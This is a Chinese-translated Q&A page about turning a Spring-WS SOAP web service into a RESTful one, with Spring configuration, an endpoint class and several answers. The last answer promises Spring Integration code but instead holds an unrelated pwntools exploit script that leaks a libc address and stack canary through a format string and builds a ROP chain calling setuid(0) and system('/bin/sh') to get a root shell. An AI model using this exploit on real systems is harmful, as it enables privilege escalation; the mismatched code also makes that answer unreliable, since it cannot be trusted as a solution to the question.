将SOAP转换为虚拟Restful服务?

时间:2011-06-19 22:39:07

标签: java web-services rest soap spring-ws

有没有办法将我的SOAP Web服务(spring-ws,java)虚拟地用作基于XML的RESTful服务?

我不想在Java中从头开始将整个SOAP Web服务重新编写成RESTful,但是我需要使用REST通过iphone访问它,他们已经拥有简单的原生支持。

XMLGateway,Proxys ..?还是一些额外的java代码?因为我的SOAP请求和响应只是一个XML文件,为什么我不能修改它以供REST服务使用?

或者不改变我的应用程序中更改任何逻辑和xml解析是否很容易添加jax-rs注释并创建一个休息请求xml?

我的配置弹簧文件是这样的:

<bean id="webServicePluginDescriptor"
    class="com.mysite.ws.configuration.MyWebservicePluginDescriptor" />

<bean id="payloadMapping"
    class="org.springframework.ws.server.endpoint.mapping.PayloadRootQNameEndpointMapping">
    <property name="defaultEndpoint" ref="inferenceEndPoint" />
    <property name="interceptors">
        <list>
            <ref local="validatingInterceptor" />
            <ref local="payLoadInterceptor" />
        </list>
    </property>
</bean>

<bean id="payLoadInterceptor"
    class="org.springframework.ws.server.endpoint.interceptor.PayloadLoggingInterceptor" />

<bean id="validatingInterceptor"
    class="org.springframework.ws.soap.server.endpoint.interceptor.PayloadValidatingInterceptor">
    <property name="schema"
        value="classpath:/wsdl/Request.xsd" />
    <property name="validateRequest" value="true" />
    <property name="validateResponse" value="false" />
</bean>

<bean id="PropertyResource" class="com.mysite.ws.im.PropertyResource">
    <property name="resource"
        value="/WEB-INF/client-specific/InferenceMachine.properties" />
</bean>

<bean id="inferenceEndPoint" class="com.mysite.ws.web.InferenceEndPoint">
    <property name="messageWebService" ref="messageWebService" />
</bean>
<bean id="messageWebService" class="com.mysite.ws.service.MessageWebService"
    scope="request">
    <aop:scoped-proxy />
    <property name="inferenceService" ref="inferenceService" />
</bean>

<bean id="Request" class="org.springframework.xml.xsd.SimpleXsdSchema">
    <property name="xsd" value="classpath:/wsdl/Request.xsd" />
</bean>

<bean id="Response" class="org.springframework.xml.xsd.SimpleXsdSchema">
    <property name="xsd" value="classpath:/wsdl/Response.xsd" />
</bean>

<bean id="Error" class="org.springframework.xml.xsd.SimpleXsdSchema">
    <property name="xsd" value="classpath:/wsdl/Error.xsd" />
</bean>

<bean id="mwsid"
    class="org.springframework.ws.wsdl.wsdl11.SimpleWsdl11Definition">
    <constructor-arg value="classpath:/wsdl/mtchwsdl.wsdl" />
</bean>

<bean id="inferenceService" class="com.mysite.ws.im.InferenceService"
    scope="request">
    <aop:scoped-proxy />
    <property name="webServiceConfiguration" ref="wsPlayerConfiguration" />

    <property name="properties">
        <bean class="com.mysite.ws.im.PropertyResource">
            <property name="resource"
                value="/WEB-INF/client-specific/InferenceMachine.properties" />
        </bean>
    </property>
</bean>

<!-- ~~~~~~~ Application beans ~~~~~~~ -->
<bean id="wsPlayerConfiguration"
    class="com.mysite.ws.configuration.WebServiceConfiguration"
    scope="request">
    <aop:scoped-proxy />
    <property name="playerConfiguration" ref="playerConfiguration"></property>
    <property name="configurationSetup" ref="configurationSetup"></property>
</bean>

这是我的端点类:

/**
 * The EndPoint of the Web Service Application. This class gets the raw
 * SOAP-body message from the Spring Payload Dispatcher and sends the message to
 * the @see MessageService class. After it has gotten the response XML message
 * it returns this back to the Spring Payload Dispatcher.
 */
public class InferenceEndPoint extends AbstractJDomPayloadEndpoint {

    private MessageWebService messageWebService;
    public InferenceEndPoint() {
    }

    @Override
    protected Element invokeInternal(Element inferenceRequest) throws Exception {
        Element ret = messageWebService.handleRequest(inferenceRequest);
        return ret;
    }

    /**
     * @param messageWebService
     */
    public void setMessageWebService(MessageWebService messageWebService) {
        this.messageWebService = messageWebService;
    }
}

任何想法?

4 个答案:

答案 0 :(得分:2)

Spring-WS只是为你的bean添加了一些注释,然后你让Spring bean完成了大部分繁重的工作。大概你有一些用@ Endpoint,@ PayloadRoot等注释的类。您应该能够以三种方式之一重复使用所有这些。

如果您的Spring-WS端点类是适配器模式样式(例如,您的Endpoint类注入了执行实际工作的POJO服务),那么您可以执行类似的适配器式Spring MVC控制器(Spring中存在REST) 3.0)。

如果您的注释直接在您的业务逻辑类上进行,那么从理论上讲,您应该能够再添加一些注释(可能看起来有点忙碌)。

如果您的Spring-WS bean是POX(而不是SOAP),那么您可以通过一些精美的URL映射来为它们提供更多具有RESTful功能的URL

要迁移到Spring 3以获得REST支持,请添加相应的@RequestMapping和其他注释,以将它们公开为REST服务以匹配特定URL。当你添加时,你也可以删除旧的@PayloadRoots和@Endpoint,但这可能不是什么大问题。当然,如果你留下旧的Spring-WS注释,你仍然需要在你的类路径上使用Spring-WS jar,但只要你没有在Spring文件中使用Spring-WS servlet或任何其他bean - 你应该没事(理论上......)。

最大的问题是:

  • 不要忘记从Spring文件中删除Spring-WS bean
  • 请记得将Spring MVC bean添加到Spring文件中,最重要的是不同的Dispatcher servlet
  • Spring中的REST安全性将由Spring Security提供,而不是Spring-WS中的相同SOAP拦截器,因此这将是一次彻底的改革。好消息是Spring Security实际上很容易使用

答案 1 :(得分:2)

查看您的代码,很难说出最佳方法是什么。 REST和SOAP实际上是想象基于Web的服务接口如何工作的完全不同的方式:SOAP是关于方法调用的,而REST则是关于资源,表示和链接的。要进行转换,您必须从底层抽象API开始。

如果你的基本API是一个“我给你一个文件,你给我一个答复文档”,并没有比其他任何曝光,这是一个的非常的面向SOAP的模型。您可以通过POST文档并获得响应来在REST中对其进行建模,但它并不优雅。如果你能代替的角度来考虑你的接口“这里是一个整体资源,与我可以设置属性,以及某些操作我能做到”,然后映射到REST更加容易(整体资源被表示为一个完整的链接文件个人财产资源和运营,个别财产可以是GET和PUT - 并且可能是必要的DELETEd。你有哪种风格...好吧,它看起来很像你有第一个,但我只是猜测,因为确定它是真的需要查看你的代码而不是你所展示的。

答案 2 :(得分:1)

没有什么可以阻止你发送填充了XML的POST来获得带有XML的结果。

最简单的方法是以某种方式捕获来回的SOAP请求,并简单地将请求转换为以空白为参数的模板,然后在生成的XML上使用XPath来提取结果。< / p>

你唯一可能需要在POST中使用SOAPAction标头,但可能不是。

这真的没什么大不了的。如果你有几十种方法,那就更难了。此外,如果您正在使用SOAP的任何加密部分,那么这更令人痛苦。但是,如果只是少数,最后它只是XML,并且大部分XML都是样板,所以看那样,它非常简单。

附录:

如果你想要使用更加HTTP友好的服务来支持后端逻辑,那么JAX-RS很容易实现,但它需要在服务器端进行编码。

如果您希望使用现有的SOAP Web服务,那么请忘记等式的整个SOAP部分,并将其视为使用XML有效负载的HTTP Web服务。它仍然是SOAP,但您没有在客户端使用任何SOAP工具。您只是在客户端请求上组装XML有效负载(从模板中最简单,恕我直言),并因此消耗XML有效负载,并通过HTTP进行交易。

根据您打算调用的现有Web服务的不同方法数量,您可以了解所涉及的工作范围。这是一项简单的工作(一旦你可以轻松查看有效载荷),但它仍然有效。如果您只有一些方法,特别是如果界面稳定且不变,那么使用原始XML比学习和对抗一些新的不熟悉的框架要容易得多。

答案 3 :(得分:0)

这就是我使用Spring Boot + Spring Integration解决此问题的方式。

  • 具有SOAP WS的WSDL,我使用maven-jaxb2-plugin在构建时生成了Java POJO。
  • 您可以选择创建转换以使这些类和属性适应REST客户端的期望。
  • 使用Spring Integration,我将每个REST端点映射到这样的SOAP网关:
#!/usr/bin/env python3

from pwn import *


p = process(["./example5", "%21$p:%41$p:"])
lib = ELF('/lib/x86_64-linux-gnu/libc-2.31.so')

leak = p.readline().decode("utf-8").split(":")

libc_base = int(leak[0], 16) - 0x1f73cc
canary = int(leak[1], 16)

log.success(f"libc base: {hex(libc_base)}")
log.success(f"stack canary: {hex(canary)}")

poprdi_ret  = p64(libc_base + 0x2679e)                  # pop rdi; ret

padding = b"A"*264                                      # junk - padding
padding += p64(canary)                                  # stack canary
padding += b"B"*8                                       # override RBP address

code = b""
code += poprdi_ret                                      # pop rdi; ret
code += p64(0x0)                                        # root uid
code += p64(libc_base + lib.symbols['setuid'])          # setuid address
code += poprdi_ret                                      # pop rdi; ret
code += p64(libc_base + next(lib.search(b'/bin/sh')))   # /bin/sh address
code += p64(libc_base + lib.symbols['system'])          # system address
code += p64(libc_base + lib.symbols['exit'])            # exit address

payload = padding + code

p.sendline(payload)

p.interactive()
相关问题